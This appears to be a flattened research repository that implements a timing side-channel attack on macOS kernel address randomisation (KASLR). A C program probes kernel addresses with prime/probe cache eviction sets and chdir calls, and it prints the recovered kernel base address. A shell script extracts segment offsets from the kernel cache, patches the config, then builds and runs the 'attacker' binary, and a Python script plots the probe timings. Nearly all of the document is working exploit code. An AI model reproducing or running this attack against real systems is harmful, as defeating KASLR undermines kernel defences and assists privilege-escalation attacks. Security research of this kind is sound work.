1 | #ifndef CONFIG_H 2 | #define CONFIG_H 3 | 4 | #define __DEBUG 5 | #define __TIME 6 | 7 | 8 | #define RESULT_FILE "../util/res" 9 | 10 | #define KER_START 0xfffffe000f004000 11 | #define KER_SIZE 0x67E8000 12 | #define KER_END ((0xfffffe002f000000 + KER_SIZE + 0x4000)) 13 | #define DATA_END_OFFSET 0x52D8000 14 | #define CNT 1 15 | 16 | #define ALIGN_SIZE 0x4000 17 | #define NUM_SLOT ((KER_END - KER_START)/ALIGN_SIZE) 18 | #define ITERATION 10 19 | #define ESET_OFFSET 0x400000 20 | #define ESET_SIZE 12 21 | 22 | #endif 23 | 24 | -------------------------------------------------------------------------------- /sysbumps/findKASLR/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include "timing.h" 10 | #include "memory.h" 11 | #include "config.h" 12 | 13 | 14 | char * eset_data; 15 | 16 | uint64_t * res; 17 | 18 | //------------------------// 19 | char * user = "./"; 20 | //------------------------// 21 | 22 | 23 | int leak_val(void* addr){ 24 | chdir(addr); 25 | chdir(addr); 26 | chdir(addr); 27 | return 1; 28 | } 29 | 30 | void get_cycle(uint64_t * valid_cycle, uint64_t * invalid_cycle){ 31 | void * eset[12]; 32 | register uint64_t tmp; 33 | 34 | gen_eset(&eset_data[0], eset, &eset_data[0]); 35 | 36 | tmp = 0; 37 | for(int i = 0 ;i < 100000; i++){ 38 | prime(eset); 39 | memory_access(&eset_data[0]); 40 | tmp += probe(eset); 41 | } 42 | 43 | * valid_cycle = tmp/100000; 44 | 45 | tmp = 0; 46 | for(int i = 0 ;i < 100000; i++){ 47 | prime(eset); 48 | memory_fence(); 49 | tmp += probe(eset); 50 | } 51 | * invalid_cycle = tmp/100000; 52 | } 53 | 54 | 55 | int main(int argc, char * argv[]){ 56 | void * addr; 57 | void * eset[12]; 58 | void * target[4] = {user, user, user}; 59 | uint64_t valid_cycle, invalid_cycle; 60 | struct timeval tv_s, tv_e; 61 | register uint64_t tmp, threshold; 62 | 63 | 64 | 65 | eset_data = (void *)malloc(sizeof(char) * ESET_OFFSET * 0x4000); 66 | res = (uint64_t *) malloc(sizeof(uint64_t) * 10000000); 67 | 68 | start_timer(); 69 | 70 | get_cycle(&valid_cycle, &invalid_cycle); 71 | threshold = invalid_cycle + (valid_cycle - invalid_cycle)/3; 72 | 73 | printf("[Probing cycle] valid address : %llu, invalid address : %llu, threshold : %llu\n\n", valid_cycle, invalid_cycle, threshold); 74 | 75 | printf("========Start to finding kernel slide!========\n"); 76 | 77 | memset(res, 0, sizeof(uint64_t) * 10000000); 78 | int64_t idx = 0; 79 | 80 | gettimeofday(&tv_s, NULL); 81 | 82 | for(int i = 0 ;i < ITERATION ; i++){ 83 | for(uint64_t s_idx = 0 ; s_idx < NUM_SLOT ; s_idx++){ 84 | idx = (s_idx * 73)%NUM_SLOT; 85 | addr = (void *) KER_START + (ALIGN_SIZE * idx); 86 | target[2] = addr; 87 | gen_eset(addr, eset, &eset_data[0]); 88 | do{ 89 | for(int j = 0; j < 3 ; j++){ 90 | prime(eset); 91 | leak_val(target[j]); 92 | } 93 | tmp = probe(eset); 94 | } while (tmp < (invalid_cycle - 200) || tmp > (valid_cycle + 200)); 95 | res[idx] += tmp; 96 | } 97 | } 98 | 99 | uint64_t valid_page_cnt = 0; 100 | void * end_data_addr = 0; 101 | uint64_t kern_size_slot = KER_SIZE/ALIGN_SIZE; 102 | 103 | for(uint64_t s_idx = 0; s_idx < NUM_SLOT ; s_idx++){ 104 | if(res[s_idx]/ITERATION > threshold){ 105 | valid_page_cnt++; 106 | if (valid_page_cnt > 10 ){ 107 | valid_page_cnt = 0; 108 | for(int s_jdx = s_idx + kern_size_slot ; s_jdx > 0 ; s_jdx--){ 109 | if(res[s_jdx]/ITERATION > threshold){ 110 | if(valid_page_cnt == 0 ){ 111 | end_data_addr = (void *) KER_START + (ALIGN_SIZE * s_jdx); 112 | valid_page_cnt++; 113 | } 114 | else if(valid_page_cnt > 10){ break; } 115 | else{ valid_page_cnt++; } 116 | } 117 | else{ 118 | valid_page_cnt = 0; 119 | } 120 | } 121 | break; 122 | } 123 | } 124 | else { valid_page_cnt = 0; } 125 | } 126 | 127 | gettimeofday(&tv_e, NULL); 128 | 129 | double start = (tv_s.tv_sec) * 1000 + (tv_s.tv_usec)/1000.0; 130 | double end = (tv_e.tv_sec) * 1000 + (tv_e.tv_usec)/1000.0; 131 | double diff = (end - start) /1000.0; 132 | 133 | void * kernel_addr = end_data_addr - DATA_END_OFFSET + 0x4000; 134 | 135 | #ifdef __DEBUG 136 | char * dfp = fopen(RESULT_FILE, "w"); 137 | addr = (void *) KER_START; 138 | for(uint64_t x = 0 ; x < NUM_SLOT; x++){ 139 | addr = (void *) KER_START + (ALIGN_SIZE * x); 140 | fprintf(dfp, "0x%llx %llu\n", addr, res[x]/ITERATION); 141 | } 142 | fprintf(dfp, "0x%llx\n", kernel_addr); 143 | fclose(dfp); 144 | #endif 145 | 146 | printf("kernel base addr\t= \033[1;31m0x%llx\033[0m\n", kernel_addr); 147 | printf("Time to break KASLR\t= %.2fs\n", diff); 148 | printf("==============================================\n"); 149 | stop_timer(); 150 | return 0; 151 | } 152 | -------------------------------------------------------------------------------- /sysbumps/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | #SYSBUMPS_PATH="Input/Sysbumps/file/path" 4 | SYSBUMPS_PATH="" 5 | FINDKASLR_PAHT=$SYSBUMPS_PATH"/findKASLR" 6 | CONFIG_FILE=$FINDKASLR_PAHT"/config.h" 7 | 8 | KERNEL_CACHE="/private/var/db/KernelExtensionManagement/KernelCollections/BootKernelCollection.kc" 9 | 10 | if ! test -e "$KERNEL_CACHE"; then 11 | echo "there is no kerenl cache file." 12 | echo "Set the kernel cache file path!" 13 | exit 14 | fi 15 | 16 | DATA_OFFSET=$(otool -l "$KERNEL_CACHE"|grep "__DATA$" -A5 | grep "fileoff") 17 | DATA_OFFSET="${DATA_OFFSET:10}" 18 | DATA_SIZE=$(otool -l "$KERNEL_CACHE"|grep "__DATA$" -A5 | grep "filesize") 19 | DATA_SIZE="${DATA_SIZE:10}" 20 | 21 | DATA_END=$(($DATA_OFFSET + $DATA_SIZE)) 22 | DATA_END=$(printf '%X' $DATA_END) 23 | 24 | 25 | LINKEDIT_OFFSET=$(otool -l "$KERNEL_CACHE"|grep "__LINKEDIT$" -A5 | grep "fileoff") 26 | LINKEDIT_OFFSET="${LINKEDIT_OFFSET:10}" 27 | LINKEDIT_SIZE=$(otool -l "$KERNEL_CACHE"|grep "__LINKEDIT$" -A5 | grep "filesize") 28 | LINKEDIT_SIZE="${LINKEDIT_SIZE:10}" 29 | 30 | LINKEDIT_END=$(($LINKEDIT_OFFSET + $LINKEDIT_SIZE)) 31 | LINKEDIT_END=$(printf '%X' $LINKEDIT_END) 32 | 33 | cd $FINDKASLR_PAHT 34 | 35 | sed -i '' "/#define DATA_END_OFFSET/c\\ 36 | #define DATA_END_OFFSET 0x$DATA_END 37 | " $CONFIG_FILE 38 | 39 | sed -i '' "/#define KER_SIZE/c\\ 40 | #define KER_SIZE 0x$LINKEDIT_END 41 | " $CONFIG_FILE 42 | 43 | make -s 44 | 45 | ./attacker 46 | 47 | 48 | -------------------------------------------------------------------------------- /sysbumps/util/graph.py: -------------------------------------------------------------------------------- 1 | import matplotlib.pyplot as plt 2 | import sys 3 | 4 | fp = open("res", 'r') 5 | lines = fp.readlines() 6 | 7 | base_addr = 0xfffffe000f004000 8 | slide = 0x4000 9 | 10 | offset = list() 11 | time = list() 12 | 13 | end = int((int(lines[-1].strip(),16) - base_addr)/slide + 6000) 14 | 15 | for idx in range(end) : 16 | line = lines[idx] 17 | line = line.strip("\n") 18 | token = line.split() 19 | offset.append(idx) 20 | time.append(int(token[1])) 21 | 22 | plt.figure(figsize=(12,5)) 23 | plt.plot(offset, time) 24 | axes = plt.gca() 25 | plt.ylim([0,3000]) 26 | plt.xlim([0, len(offset)]) 27 | plt.xticks([0, len(offset)]) 28 | 29 | plt.ticklabel_format(axis='x',useOffset=False, style='plain') 30 | plt.xlabel("offset") 31 | plt.ylabel("Probing cycle") 32 | 33 | plt.show() 34 | --------------------------------------------------------------------------------